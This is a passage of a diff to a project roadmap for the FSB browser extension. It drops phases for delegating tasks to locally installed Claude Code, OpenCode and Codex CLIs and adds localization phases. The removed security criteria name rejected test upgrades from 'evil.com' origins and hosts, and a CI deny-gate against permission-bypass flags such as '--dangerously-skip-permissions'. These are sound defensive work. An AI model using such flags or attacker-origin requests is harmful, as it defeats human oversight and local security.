BYOK LLM providers) or `agent` (a locally installed agent CLI); the kind determines which fields render — an `agent`-kind selection hides the API-key input, key-URL hint, and per-model key-format hint, and shows install status, auth status (where the CLI exposes it), connection status, and a "uses your subscription — no API key needed" caption instead. - 3. Exactly one provider is badged "Recommended" per session, chosen by the strict ground-truth cascade (highest = a CLI currently connected via MCP `initialize`, next = a CLI installed on disk, next = a CLI whose copy button was clicked during onboarding, fallback = the existing xAI-default recommendation); the badge is advisory only — the user's selection is never auto-switched. - 4. `universal-provider.js` (the existing BYOK request builder) never observes an agent value: switching between an active agent provider and a BYOK api provider preserves the other's configuration, and INV-03 provider parity for the 7 BYOK providers holds unchanged. - 5. Cost/usage rows for `agent`-kind providers display token count, turn count, and duration alongside the label "included in your subscription", with a link to the vendor's current billing page — never a fabricated dollar amount and never the words "free" or "unlimited". -**Plans**: 3/3 complete + 1. Chrome displays the localized extension name and description for each of the seven locales. The visible name still contains the untranslated brand `FSB`, and the manifest `version` field is still the version. + 2. Opening the side panel in Spanish shows Spanish labels, buttons, empty states, and status text for package-owned chrome. User-typed text and model output stay as they were. + 3. Opening the popup in Korean shows Korean package-owned chrome, including button titles and status text. + 4. Every key added in this phase exists in all seven catalogs with matching placeholders, and the Phase 66 gate stays green. +**Plans**: TBD **UI hint**: yes -### Phase 59: Reverse-Request Channel & Security Foundation -**Goal**: Extension → daemon reverse requests transit the existing `ws://localhost:7225` bridge with every documented 2025-2026 CVE-class defense enforced from commit one — Origin allowlist, Host loopback, per-install rotating shared secret, log redaction, additive-only wire evolution, and a permanent grep gate against the three "one-click RCE" flags. This phase is SECURITY-CRITICAL and load-bearing: it ships BEFORE any spawn code exists in Phase 60. -**Depends on**: Nothing (channel design is orthogonal to Phase 57/58 data + UI; can develop in parallel but MUST be code-green before Phase 60 starts) -**Requirements**: CHAN-01, CHAN-02, CHAN-03, CHAN-04, CHAN-05, CHAN-06, CHAN-07 -**Success Criteria** (what must be TRUE): - 1. A new `ext:request` / `ext:response` / `ext:event` bridge message-type family transports extension → daemon reverse requests over the existing ws://localhost:7225 bridge, and a byte-freeze regression test proves every existing `MCPMessageType` value, tool schema, and bridge payload stays byte-identical (INV-01 additive proof). - 2. A relay process advertising `capabilities: ['agent-spawn']` on `relay:hello` becomes the routing target for `ext:*` frames: the hub routes each `ext:request` locally when it is itself the daemon, forwards to the first `agent-spawn`-advertising relay when it is not, and replies `agent_provider_offline` when no supervisor is present — verified by extending `tests/mcp-bridge-topology.test.js` with new hub-exit-mid-delegation and relay-mid-`ext:*`-frame cases without breaking any existing hub-exit-promotion test. - 3. A fixture crafted with `Origin: https://evil.com` on the WebSocket upgrade is rejected before any handler runs; a second fixture with `Host: evil.com:7225` (even when the target actually resolves to 127.0.0.1) is rejected as DNS-rebind defense — the bridge accepts `ext:*` frames only when the WS upgrade carried an `Origin` matching a durable per-install `chrome-extension://` allowlist and a `Host` exactly `127.0.0.1` or `localhost` at the loopback port, and the daemon never binds `0.0.0.0`. - 4. A per-install ≥32-byte shared secret is provisioned once between the extension and the daemon, transported only in the `Sec-WebSocket-Protocol` upgrade header (never in URL, never in payloads, never in logs), rotated on daemon restart, and required on every `ext:*` frame — and `redactForLog` plus every tracked diagnostic ring-buffer sink strips any string matching the shared-secret token pattern, with a build-time drift gate that fails if a raw secret substring appears in any tracked log fixture. - 5. A permanent CI grep gate fails the build if the strings `--dangerously-skip-permissions`, `--yolo`, or `--auto` appear anywhere in `mcp/src/agent-providers/**`, so those "one-click RCE" flags can never enter the spawn path in any future patch. -**Plans**: 4/4 complete - -### Phase 60: Adapter Contract & Claude Code MVP -**Goal**: A shell-free, tree-killable `SpawnSupervisor` in the `serve` daemon spawns the user's installed `claude` CLI via a formal five-method `AgentProviderAdapter` contract — with a shipped `fsb` agent definition (never prompt-stuffing), `--strict-mcp-config` hermeticity, and a recorded stream-json JSONL fixture — so a user with Claude Code installed can send a side-panel message and observe the agent drive their live browser back through FSB's MCP tools with visible per-tool-call feedback. This phase is the integration payoff; the contract is designed for adapter breadth so OpenCode/Codex slot in without rework. -**Depends on**: Phase 58 (provider selection reads the Providers panel), Phase 59 (channel + all CHAN security foundations must be code-green before any spawn code exists) -**Requirements**: ADAPT-01, ADAPT-02, ADAPT-03, ADAPT-04, ADAPT-05, CLAUDE-01, CLAUDE-02, CLAUDE-03, CLAUDE-04 -**Success Criteria** (what must be TRUE): - 1. The `AgentProviderAdapter` TypeScript interface (`mcp/src/agent-providers/adapter.ts`) exposes exactly five methods (`detect()` → `{installed, version, authState, binary}`, `buildSpawn(task, ctx)` → `SpawnSpec`, `parseEvents(stream)` → `AsyncIterable`, `kill(child, {grace})` → `Promise`, `caps()` → `AdapterCapabilities`), and the Claude Code adapter (`mcp/src/agent-providers/claude-code.ts`) implements all five and is registered against the `INSTALL_CLIENTS` / `PLATFORMS` client id `claude-code`. - 2. A user with Claude Code installed can select "Claude Code" as their provider in the side panel, type a task, and observe the spawned CLI drive their live browser back through FSB's MCP tools — with visible per-tool-call feedback — while every existing FSB MCP tool call remains byte-identical on the wire (INV-01 preserved end-to-end through the delegation round-trip; the byte-freeze regression test still passes). - 3. The `SpawnSupervisor` accepts a validated spawn request over Phase 59's `ext:request` channel, looks up the requested adapter, constructs argv from adapter output plus a daemon-controlled flag allowlist (unknown payload keys rejected with a typed error), and spawns the child with `{ detached: true, windowsHide: true, stdio: ['pipe','pipe','pipe'] }` and an environment with `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, and `GEMINI_API_KEY` scrubbed; the supervisor never invokes a shell, and the user's prompt reaches the CLI only via `child.stdin` (never argv, never `sh -c`) so shell metacharacters and Windows `.cmd`-shim EINVAL (Node CVE-2024-27980) cannot execute. - 4. A `stop` / cancel request triggers SIGTERM at the process-group level on POSIX (`process.kill(-child.pid, 'SIGTERM')` after `spawn({detached:true})`), `taskkill /pid /T /F` on Windows, escalates to SIGKILL after a grace window, and does not resolve the delegation until either an exit-signal is observed or the daemon confirms no descendant matches remain — grandchildren, MCP sub-servers, and shell tools spawned by the CLI are all terminated. - 5. On daemon startup, the supervisor scans for orphaned children matching prior adapter fingerprints (env-var tag + argv pattern) and kills them before accepting new spawn requests, and reports the scan result in structured diagnostics — so a daemon crash mid-run cannot leave a ghost CLI controlling the browser. - 6. The Claude Code adapter spawns `claude -p --verbose --output-format stream-json --include-partial-messages --strict-mcp-config --mcp-config --agents --agent fsb --permission-mode dontAsk --allowedTools "mcp__fsb" --disallowedTools "Bash,Edit,Write,NotebookEdit,WebFetch,WebSearch" --max-turns 40 --no-session-persistence` (or the version-appropriate equivalent selected by `detect()`); `parseEvents` translates the CLI's stream-json events into a normalized `AgentEvent` schema, fails loud on unknown event types (surfaced as `agent_protocol_drift` diagnostic), and is covered by a recorded JSONL fixture under `tests/fixtures/agent-streams/claude-code-2.1.177/` so CI runs without a live CLI; `detect()` fingerprints via `claude --version`, compares against a minimum supported version, and reports `installed=false` with a doctor-diagnostic message rather than spawning if the version predates the verified stream-json contract. -**Plans**: 4/4 complete -- [x] 60-01: Freeze the exact adapter contract, Claude detection/profile, and shipped FSB agent policy. -- [x] 60-02: Normalize bounded Claude JSONL through the concrete adapter with truthful offline fixture provenance. -- [x] 60-03: Build private runtime state plus verified POSIX/Windows termination and orphan recovery. -- [x] 60-04: Wire the serve-only supervisor, exact-once reverse delegation, full regression gates, and deferred UAT ledger. - -### Phase 61: Delegation UX & SW-Eviction Persistence -**Goal**: The side panel becomes a first-class delegation surface — visible first-use consent gate, live per-tool-call streaming feed, default-background-tab with a "Take control" affordance, kill switch that reclaims owned tabs, honest post-run usage summary, and MV3 SW-eviction-safe persistence so a 45-minute run resumes exactly the feed the user last saw. The extension has no `nativeMessaging` permission at this point — this phase ships the honest "Agent offline → `doctor`" state that Phase 63 later augments with an optional wake path. -**Depends on**: Phase 60 (adapter contract + Claude Code MVP producing the `AgentEvent` stream + tab ownership on spawn); Phase 59 heartbeat plumbing -**Requirements**: UX-01, UX-02, UX-03, UX-04, UX-05, UX-06, LIFE-01, LIFE-02, LIFE-03, LIFE-04 +### Phase 68: Options and control panel +**Goal**: The options page and control panel show package-owned chrome in the active locale. +**Depends on**: Phase 67 +**Requirements**: SET-01 **Success Criteria** (what must be TRUE): - 1. A fifth `EXECUTION_MODES` entry `delegated` in `extension/ai/engine-config.js` (with `uiFeedbackChannel: 'popup-sidepanel'`, `animatedHighlights: true`, wall-clock + event-silence watchdogs, and no iteration cap — the reasoning loop runs in the spawned CLI, not `runAgentLoop`) is selected automatically whenever the active provider is agent-kind, and the extension's own `runAgentLoop` is never entered for delegated tasks. - 2. Before FSB spawns any agent CLI for the first time, the user sees an explicit consent card that names the CLI, states what it will be permitted to do (drive FSB MCP tools on the user's live browser), and states what it will not (edit files, run shell, fetch arbitrary URLs); a per-run confirm-to-continue toggle is on by default and can be disabled per-provider only via an explicit "trust this agent" setting — the copy never uses "faster mode" language. - 3. The side panel renders a live per-run streaming feed with distinct card types for `init` (client, model, session id, allowed tools), `tool-call` (name, args summary, tab id), `retry` (typed error class), and `result` (usage summary) driven by the normalized `AgentEvent` stream; a delegated run opens by default in a new background tab, and when the user activates the tab the agent is driving, a persistent "Take control" affordance appears that pauses the agent (v0.9.60 ownership release + supervisor grace hold), lets the user interact, and offers "Resume with agent" to give ownership back. - 4. A prominent Stop button in the side panel triggers `stopDelegatedTask`, routes to the supervisor's kill, and — on confirmed exit — releases every tab that was owned by the spawned agent (per v0.9.60 ownership) and reports "Agent stopped, N tab(s) released" in the feed; a post-run summary card displays tokens (in/out/total), turn count, wall-clock duration, cost bucket (`included in your subscription` for agent kind, real USD for api kind), and an expandable per-tool-call breakdown. - 5. Every progress event received from the supervisor is written to `chrome.storage.session` under a per-delegation key BEFORE it fans out to UI subscribers, so a mid-run MV3 service worker eviction reloads exactly the delivered feed on re-open — no ghost state, no fabricated events, no dropped events; the fifth `EXECUTION_MODES` entry works end-to-end across a forced SW eviction in a test fixture. - 6. While a delegation is active, the extension pings the bridge every 20 s over the existing WS heartbeat channel to keep the Chrome 116+ SW-lifetime extension applied; if 3 heartbeats are missed the side panel switches to a `daemon:disconnected` fallback that offers a doctor-relaunch button but does not attempt an in-extension restart; if `fsb-mcp-server serve` is not running when a delegated send is attempted, the side panel shows an "Agent offline" state with a deep-link to `fsb-mcp-server doctor` output and does not enqueue or optimistically show the message; if the daemon restarts while a delegation was mid-flight, the supervisor kills any surviving spawned CLI (never re-adopts) and reports `daemon_restart_lost_run` in the side panel so the user knows the run ended. -**Plans**: 8/8 complete; automated/source verification passed; eight live UAT checks deferred to the milestone-end gate -- [x] 61-01: Freeze exact agent routing, delegated mode, read-only preflight, one-use consent, and provider-local trust. -- [x] 61-02: Build the bounded write-before-fanout event ledger and sole delegated lifecycle controller. -- [x] 61-03: Serialize async bridge observers, add acknowledged active-delegation heartbeat, and pin Chrome 116/no-native authority. -- [x] 61-04: Correlate server delegation ids with extension agents and add sealed complete mapped-tab hold leases. -- [x] 61-05: Add supervisor hold/resume/status plus generation-backed restart-loss evidence. -- [x] 61-06: Integrate start, handoff, Stop, hydration, heartbeat, and recovery in the service worker. -- [x] 61-07: Implement the safe, exact-copy, accessible delegated side-panel feed and lifecycle UI. -- [x] 61-08: Install complete regression/evidence gates and defer genuine live UAT to the milestone-end ledger. + 1. Opening the control panel in German shows German labels, buttons, hints, and status text for package-owned chrome. + 2. Provider names, model ids, storage keys, and error codes that are protocol identifiers remain unchanged. + 3. Every key added in this phase exists in all seven catalogs, and the Phase 66 gate stays green. +**Plans**: TBD **UI hint**: yes -### Phase 62: CI Drift-Smoke Gate & Doctor Extensions -**Goal**: An `fsb-mcp-server doctor` operator and CI both catch adapter drift the moment an agent CLI ships a new flag or event-shape — with a machine-readable adapter compatibility matrix the extension consumes to render "supported / degraded / unsupported" states without hardcoding versions anywhere in extension source. -**Depends on**: Phase 60 (needs at least one adapter to run drift-smoke against; Phase 61 UX consumes the compatibility matrix for rendering degraded states) -**Requirements**: DRIFT-01, DRIFT-02, DRIFT-03, DRIFT-04 +### Phase 69: Onboarding, entry pages, and overlay chrome +**Goal**: First-run pages and the on-page overlay show FSB-authored chrome in the active locale, without translating the page or the task. +**Depends on**: Phase 68 +**Requirements**: ENTRY-01, ENTRY-02, ENTRY-03 **Success Criteria** (what must be TRUE): - 1. A CI job runs each shipped adapter against a canned prompt fixture, asserts the known event-type sequence and the presence of required fields on `system/init` and `result`, and fails the build on unknown event types, missing required fields, or a `--version` outside the compatibility matrix — with no live CLI required (the recorded JSONL fixtures from Phases 60/64/65 suffice), so contributors without every CLI installed can still land safe changes. - 2. `fsb-mcp-server doctor` gains a per-adapter section reporting: binary path, version, auth state (parseable where the CLI exposes it), shared-secret presence, and the current spawn-secret rotation age — so an operator with only `doctor` output can identify which adapter failed and why. - 3. The diagnostics ring buffer classifies drift events as `agent_protocol_drift` with adapter id, expected vs observed fields, and rate-limits duplicate entries at the existing 1-per-10s bucket so a chatty drift does not blow the buffer. - 4. `doctor` emits a machine-readable adapter compatibility matrix that both the CI drift-smoke job and the extension can read; the extension consumes the matrix at boot (and on doctor refresh) to render `supported` / `degraded` / `unsupported` badges in the Providers panel — and never hardcodes CLI versions in extension source. -**Plans**: 6 plans -- [x] 62-01: Establish the canonical adapter compatibility matrix/classifier and generalized offline drift-smoke CI gate. -- [x] 62-02: Extend `doctor` with offline adapter diagnostics, safe spawn-secret metadata, and text/JSON parity. -- [x] 62-03: Carry the authenticated safe compatibility projection into background-owned durable, freshness-aware provider state. -- [x] 62-04: Project sanitized protocol-drift detail and report it exactly once through a true per-adapter pre-throttle. -- [x] 62-05: Render exact, accessible, non-mutating compatibility badges and selected-provider details. -- [x] 62-06: Wire root/source/security gates and preserve all genuine live evidence in the pending milestone-end UAT ledger. + 1. Onboarding in Simplified Chinese shows Simplified Chinese package-owned copy. + 2. The unlock page and the microphone-permission page in Traditional Chinese show Traditional Chinese package-owned copy. + 3. The on-page overlay in Japanese shows Japanese text for FSB-authored controls such as Stop, Done, and replay speed. The task title and model summary remain the original strings. + 4. Every key added in this phase exists in all seven catalogs, and the Phase 66 gate stays green. +**Plans**: TBD +**UI hint**: yes -### Phase 63: Native-Messaging Host -**Goal**: When the user has installed the optional native-messaging host, the "Agent offline" state auto-attempts to wake `fsb-mcp-server serve` before falling back to the Phase 61 doctor deep-link — closing the UX cliff introduced by the extension having no `nativeMessaging` permission through Phases 57-62. All spawn authority stays inside the serve daemon behind Phase 59's CHAN gates; the native host itself never spawns agent CLIs. -**Depends on**: Phase 61 ("Agent offline → doctor" state must already exist for the wake to have a fallback), Phase 62 (doctor extensions already report daemon state) -**Requirements**: NATIVE-01, NATIVE-02, NATIVE-03, NATIVE-04 +### Phase 70: Coverage audit +**Goal**: No in-scope surface still contains leftover package-owned English prose. +**Depends on**: Phase 69 +**Requirements**: COPY-01 **Success Criteria** (what must be TRUE): - 1. `fsb-mcp-server install --native-host` writes the platform-appropriate native-messaging host manifest — macOS `~/Library/Application Support/Google/Chrome/NativeMessagingHosts/`, Linux `~/.config/google-chrome/NativeMessagingHosts/`, Windows registry `HKCU\Software\Google\Chrome\NativeMessagingHosts\` — allowing the FSB extension id as the sole caller, and installs a host binary that can wake the daemon on demand. - 2. The extension's manifest gains a single additive `nativeMessaging` permission entry (no other permission changes); at boot the extension detects native-host presence, and when the host is installed, an "Agent offline" state auto-attempts a wake before showing the doctor deep-link — a user with the host installed sees the delegation come alive on demand instead of the manual `serve` prompt. - 3. The native host itself does NOT spawn agents; it only starts `fsb-mcp-server serve` (or attaches to a running one) and exits after handoff — all spawn authority remains inside the serve daemon behind the Phase 59 CHAN gates (Origin allowlist, shared secret, flag allowlist, argv-only) and no CHAN requirement is relaxed to accommodate the wake path. - 4. `fsb-mcp-server uninstall --native-host` cleanly removes the manifest, and `doctor` reports native-host install state including manifest path, allowlist mismatches, and host-binary reachability so an operator can debug wake failures without shell-level inspection. -**Plans**: 12 plans - -**Wave 1** -- [x] 63-01: Establish the workspace-safe build guard, release-built Windows bootstrap, and durable bundled runtime contract. - -**Wave 2** *(blocked on Wave 1 completion)* -- [x] 63-02: Fix pre-bind secret rotation and make product-specific serve readiness authoritative. - -**Wave 3** *(blocked on Wave 2 completion)* -- [x] 63-03: Implement the closed native-messaging framing, validation, one-shot entry, and authority boundary. - -**Wave 4** *(blocked on Wave 3 completion)* -- [x] 63-04: Implement exact readiness probing, tokened wake coalescing, and one shell-free serve handoff. - -**Wave 5** *(blocked on Wave 4 completion)* -- [x] 63-05: Implement exact-owned atomic registration, runtime materialization, install, and uninstall across three OS families. - -**Wave 6** *(blocked on Wave 5 completion)* -- [x] 63-06: Add explicit native-host CLI install/uninstall routes without widening existing installer behavior. - -**Wave 7** *(blocked on Wave 6 completion)* -- [x] 63-07: Add bounded read-only native-host diagnostics with safe local and browser projections. - -**Wave 8** *(blocked on Wave 7 completion)* -- [x] 63-08: Add the single manifest permission and background-owned probe/offline-wake controller. - -**Wave 9** *(blocked on Wave 8 completion)* -- [x] 63-09: Render the approved intent-fenced checking state in the existing delegation card. - -**Wave 10** *(blocked on Wave 9 completion)* -- [x] 63-10: Wire deterministic focused/root/CI contracts and create the still-pending milestone-end UAT ledger. - -**Wave 11** *(blocked on Wave 10 completion)* -- [x] 63-11: Run independent blocking code, security, and UI source-review gates. - -**Wave 12** *(blocked on Wave 11 completion)* -- [x] 63-12: Run the reviewed focused matrix and workspace-preserving repository-wide regression gate. - -### Phase 64: OpenCode Adapter -**Goal**: The `AgentProviderAdapter` contract proves it accommodates a second CLI family — one that supports both cold spawn AND attach-to-running-server (`opencode serve` + `opencode run --attach`) — without any Phase 60 rewrite; OpenCode joins the Providers panel with a pinned agent definition and CI-covered event schema so the drift gate covers it from day one. -**Depends on**: Phase 60 (contract), Phase 62 (drift-smoke gate must accept the new adapter fixture) -**Requirements**: MULTI-01, MULTI-02, MULTI-03 + 1. The coverage check fails when a fixture UI file contains a package-owned English sentence that is not in the catalog and not on the producer-owned exception list. + 2. The same check passes on the side panel, popup, options, control panel, onboarding, unlock, microphone permission, and overlay chrome. + 3. Producer-owned exceptions still cover user text, model output, page DOM, secrets, and logs, and the check does not flag them. +**Plans**: TBD + +### Phase 71: Language control +**Goal**: The user can choose a locale inside the extension, keep that choice, and clear it. +**Depends on**: Phase 70 +**Requirements**: LANG-01, LANG-02, LANG-03 **Success Criteria** (what must be TRUE): - 1. An OpenCode adapter (`mcp/src/agent-providers/opencode.ts`) implements the `AgentProviderAdapter` contract with `caps.serverMode = true`; the supervisor either spawns `opencode run` cold OR attaches to a running `opencode serve` per the adapter's `buildSpawn` output — and the Phase 60 contract handles both without any hardcoded spawn-vs-attach branch outside the adapter. - 2. The OpenCode adapter ships a pinned agent definition (equivalent to Claude Code's `--agents fsb`) using OpenCode's `agent create` / `agents` config surface, keyed to a version pinned during phase spike, so tool boundaries and system-prompt intent are identical across the two adapters. - 3. A recorded OpenCode JSONL fixture under `tests/fixtures/agent-streams/opencode-/` proves the adapter's event schema in CI without a live CLI; the Phase 62 drift-smoke job includes OpenCode from the first commit of this phase, and unknown event types raise `agent_protocol_drift` with the adapter id `opencode`. Planning-document commits do not count as implementation commits: Plan 64-01 has exactly one implementation task/commit containing the complete parser, fixture, native negative corpus, and generalized drift gate; every later plan depends on it transitively, and Plan 64-05 exposes adapter/registry/matrix/bijection atomically. - 4. A user with OpenCode installed can pick "OpenCode" as their provider in the side panel and observe the delegation UX (streaming feed, kill switch that reclaims tabs, post-run summary, SW-eviction survival) work identically to Claude Code — with no adapter-specific side-panel branches. -**Plans**: 13 plans - -**Wave 1** -- [x] 64-01-PLAN.md — Land the complete strict parser, honest 1.14.25 fixture, native negative corpus, and generalized adapter-native Phase 62 CI drift gate as the sole first implementation commit. - -**Wave 2** *(blocked on Wave 1 completion)* -- [x] 64-02-PLAN.md — Freeze the exact five-method provider-neutral topology/attestation seam and the public fixed-env versus transient secret-binding contract. - -**Wave 3** *(blocked on Wave 2 completion)* -- [x] 64-03-PLAN.md — Version the exact delegation/provider-server runtime journal and private-artifact boundary with legacy recovery and structural secret non-retention preserved. - -**Wave 4** *(blocked on Wave 3 completion)* -- [x] 64-04-PLAN.md — Build exact OpenCode 1.14.25 retained detection, private policy, effective-attestation declarations, and exact server/attach secret-binding descriptors. - -**Wave 5** *(blocked on Wave 4 completion)* -- [x] 64-05-PLAN.md — Atomically compose and expose the production adapter, registry row, compatibility row, and exact parser/fixture/native-drift bijection. - -**Wave 6** *(parallel; blocked on Wave 5, with the server lifecycle also directly bound to Wave 3 runtime state)* -- [x] 64-06-PLAN.md — Project the exact roster into bounded inventory/doctor evidence and the browser-safe Claude/OpenCode compatibility plane. -- [x] 64-07-PLAN.md — Implement the generic cold-first, FSB-owned-server lease, health, fallback, idle, and recovery lifecycle. - -**Wave 7** *(parallel; each blocked on its Wave 6 dependency)* -- [x] 64-08-PLAN.md — Interpret closed attestation descriptors through the shared verifier, enforce no replay, and gate results on clean exit/tree settlement. -- [x] 64-09-PLAN.md — Generalize canonical extension preflight, consent, trust, and background-authoritative provider routing. - -**Wave 8** *(parallel; each blocked on its Wave 7 dependency)* -- [x] 64-10-PLAN.md — Generalize durable event/controller hydration and safe per-adapter drift diagnostics. -- [x] 64-11-PLAN.md — Promote the existing OpenCode Providers row from safe evidence with honest auth/billing and no visible layout change. - -**Wave 9** *(blocked on Waves 7-8 completion)* -- [x] 64-12-PLAN.md — Project OpenCode through the existing delegated consent/side-panel/feed/summary UI with no provider-specific branch. - -**Wave 10** *(blocked on Wave 9 completion)* -- [x] 64-13-PLAN.md — Wire exact validation/root/CI/security/full-suite gates and the still-pending three-row human-UAT ledger. - -### Phase 65: Codex Adapter -**Goal**: Task-mode delegation coverage extends to OpenAI Codex with correct auth-state disclosure (ChatGPT OAuth vs API key vs unauthenticated) so users know which billing bucket a run will hit before starting; `caps.chatMode: false` across all v0.9.91 adapters confirms task-mode-only scope for the milestone. -**Depends on**: Phase 60 (contract), Phase 62 (drift-smoke gate) -**Requirements**: MULTI-04, MULTI-05, MULTI-06 -**Success Criteria** (what must be TRUE): - 1. A Codex adapter (`mcp/src/agent-providers/codex.ts`) implements the `AgentProviderAdapter` contract, invoking `codex exec --json` with the verified 0.142.5 flag set (`--ephemeral` + `--ignore-user-config` for hermeticity; the deprecated `--full-auto` is NEVER referenced in adapter source, protected by the CHAN-07 grep gate against `--auto`). - 2. The Codex adapter's `detect()` correctly identifies auth via ChatGPT OAuth, API key, or unauthenticated and surfaces the state in the Providers panel so the user knows which billing bucket a run will hit — with the accepted copy **Included with your ChatGPT plan**, **Billed to the API key stored by Codex; dollar amount not reported.**, or the exact sign-in/status-refresh recovery copy. - 3. A schema-derived Codex JSONL contract fixture pins the event schema in CI under `tests/fixtures/agent-streams/codex-0.142.5/`, honestly retains `liveCapturePending: true`, and awaits genuine capture in UAT65-02; the Phase 62 drift-smoke job includes Codex from the first implementation commit, and the adapter's `caps()` correctly reports `chatMode: false` — matching the milestone-wide task-mode-only posture. - 4. A user with Codex installed can pick "Codex" as their provider and observe the same delegation UX as Claude Code and OpenCode with the correct per-auth-state cost copy, and the Providers panel's `agent`-kind cost row shows tokens / turns / duration + the auth-state-appropriate subscription caption rather than a fabricated dollar amount. -**Plans**: 8/8 complete - -- [x] 65-01-PLAN.md — Establish canonical accepted identity, capability vocabulary, and durable provider-neutral persistence before Codex exposure. -- [x] 65-02-PLAN.md — Bind background-owned preflight, consent, trust, and replay rejection to the exact five-field identity. -- [x] 65-03-PLAN.md — Enforce immediate supervisor re-attestation and exact start echo before any runtime or browser-visible effect. -- [x] 65-04-PLAN.md — Add bounded byte probes, sanitized environments, serve-owned authority descriptors, and empty direct scratch cleanup. -- [x] 65-05-PLAN.md — Atomically expose the complete Codex adapter, profile, parser, fixture, roster, drift, and negative corpus. -- [x] 65-06-PLAN.md — Project safe auth evidence and exact billing copy through the existing three-provider Providers surface. -- [x] 65-07-PLAN.md — Preserve immutable accepted identity through feed/hydration and close shared 44px delegated controls. -- [x] 65-08-PLAN.md — Lock exact validation/UAT contracts and the preservation-safe focused, root, and CI closure gate. - -## Progress - -**Execution Order:** -Phases execute in numeric order: 57 → 58 → 59 → 60 → 61 → 62 → 63 → 64 → 65 -Security-first hard rule: Phase 59 is code-green before Phase 60 spawn code lands, regardless of Phase 57/58 progress. - -| Phase | Plans Complete | Status | Completed | -|-------|-----------------|--------|-----------| -| 57. Agent Identity Capture | 3/3 | Complete | 2026-07-12 | -| 58. Providers Panel | 3/3 | Complete | 2026-07-12 | -| 59. Reverse-Request Channel & Security Foundation | 4/4 | Complete | 2026-07-14 | -| 60. Adapter Contract & Claude Code MVP | 4/4 | Complete | 2026-07-14 | -| 61. Delegation UX & SW-Eviction Persistence | 8/8 | Complete (UAT deferred) | 2026-07-15 | -| 62. CI Drift-Smoke Gate & Doctor Extensions | 6/6 | Complete (UAT deferred) | 2026-07-16 | -| 63. Native-Messaging Host | 12/12 | Complete | 2026-07-20 | -| 64. OpenCode Adapter | 13/13 | Complete | 2026-07-21 | -| 65. Codex Adapter | 8/8 | Complete | 2026-07-22 | - -## Completed Milestones - -
-v1.2.0 Showcase i18n Completeness — Phases 52-56, SHIPPED 2026-07-09 - -**Milestone Goal:** Close the translation gap that reopened after v0.9.63 shipped -- full, drift-free coverage across all six supported locales (en, es, de, ja, zh-CN, zh-TW) for every showcase marketing page plus the stats page, the long-deferred locale-cookie redirect bug, and a CI gate that catches future drift automatically. - -**Phase summary:** - -| Phase | Name | Plans | Status | -|-------|------|-------|--------| -| 52 | Full-Page Translation Completeness Audit | 1/1 | Complete | -| 53 | Trans-Unit Resync, Stats Translation & Transcreation Review | 3/3 | Complete; VISUAL-01 human_needed | -| 54 | Stats Lint Gate Flip & Dashboard Boundary Documentation | 1/1 | Complete | -| 55 | CI Drift-Detection Gate | 1/1 | Complete | -| 56 | Locale-Cookie Redirect Fix (WARNING-02) | 1/1 | Complete | - -Archive files: - -- `.planning/milestones/v1.2.0-ROADMAP.md` -- `.planning/milestones/v1.2.0-REQUIREMENTS.md` -- `.planning/v1.2.0-MILESTONE-AUDIT.md` - -Outcome: 13/13 v1.2.0 requirements satisfied; audit passed. Phase 52's audit established the true 5-drifted/54-orphaned baseline, superseding the milestone brief's original "247 trans-units" estimate. Phase 53 resynced the 5 drifted units + retired the stats-274 JSON artifacts + transcreated the 19 hero/CTA strings across 5 non-en locales. Phase 54 flipped `lint:i18n` to cover stats and documented the dashboard exclusion as permanent. Phase 55 landed `verify-translation-drift.mjs` as a hard-fail CI gate on a clean drift-free baseline. Phase 56 fixed WARNING-02's picker-cookie short-circuit on the bare-`/` Accept-Language redirect. VISUAL-01 browser UAT remains `human_needed` (`53-VISUAL-QA.md`). - -
- -
-v1.1.0 T1 App Execution Expansion — Phases 44-51, SHIPPED 2026-06-30 - -**Hard invariants (v1.1.0):** - -- Kept the two-tool MCP surface: `search_capabilities` and `invoke_capability`; no one tool per app. -- Preserved MV3 Wall 1: descriptors and recipes are closed-vocabulary data; no OpenTabs runtime/plugin code ships. -- Preserved Wall 2 unless explicitly extended by a verified Pattern-D design: credentialed execution stays origin-pinned and same-session. -- Writes and destructive actions stayed fail-closed until live request shape, consent behavior, and no-secret logging were proven. -- Denylisted origins remained blocked; sensitive origins stayed flagged/audited under the existing invoke/discovery consent semantics. -- Search distinguished "directly invocable T1" from "discovery-pending DOM/T2." - -### Phase 44: T1 Readiness Inventory + Status Surface -**Goal:** Create the authoritative T1 readiness matrix for all 2,314 descriptors and make status visible to developers and users so "catalog supported" is never confused with "direct API-ready." -**Requirements:** T1R-01, T1R-02, T1R-03. -**Plans:** -- [x] 44-01: T1 readiness matrix generator and evidence report. -- [x] 44-02: Status-surface and documentation honesty pass. -- [x] 44-03: T1 readiness CI guard and phase closeout. - -### Phase 45: T1 Porting Scaffold + Handler Contract Hardening -**Goal:** Build the reusable test and implementation scaffold for app ports so each new T1 handler has origin-pin, logged-out guard, shape guard, no-secret logging, consent classification, and byte-stable fallback behavior by default. -**Requirements:** T1R-04, T1R-05, T1R-09. -**Plans:** -- [x] 45-01: Port contract library and scaffold CLI. -- [x] 45-02: Current-catalog contract verifier. -- [x] 45-03: Documentation and phase closeout. - -### Phase 46: Same-Origin Read Ports — First High-Value Batch -**Goal:** Convert a first batch of high-value read descriptors from T3 to executable T1 where the app's authenticated web runtime uses same-origin APIs and can be proven without weakening Wall 2. -**Requirements:** T1R-06. -**Plans:** -- [x] 46-01: Candidate selection and Netlify/Bitbucket/CircleCI handler ports. -- [x] 46-02: Catalog wiring, search readiness, and same-origin classifier gates. -- [x] 46-03: Verification, UAT notes, and phase closeout. - -### Phase 47: Pattern-D + GAPI Bridge Architecture -**Goal:** Design and prove the missing architecture for apps whose useful APIs are separate-origin, per-org-subdomain, or page-bridge mediated, without breaking the active-tab credential boundary. -**Requirements:** T1R-07, T1R-08. -**Plans:** -- [x] 47-01: Pattern-D decision for separate-origin and per-org APIs. -- [x] 47-02: GAPI bridge decision for Google Workspace APIs. -- [x] 47-03: CI gate, negative controls, and closeout. - -### Phase 48: High-Value Read Ports — Second Batch -**Goal:** Use the Phase 47 outcome to port another batch of read descriptors, including Pattern-D/GAPI candidates if the architecture is proven. -**Requirements:** T1R-06, T1R-07, T1R-08. -**Plans:** -- [x] 48-01: Vercel same-origin read head. -- [x] 48-02: CircleCI same-origin read expansion. -- [x] 48-03: Gate, search, and readiness-report closeout. - -### Phase 49: Guarded Writes Activation Pipeline -**Goal:** Turn fail-closed write/destructive candidates into executable T1 only after live mutation-body capture, consent gate verification, and redacted audit proof. -**Requirements:** T1R-10, T1R-11. -**Plans:** -- [x] 49-01: Write activation evidence ledger. -- [x] 49-02: Evidence 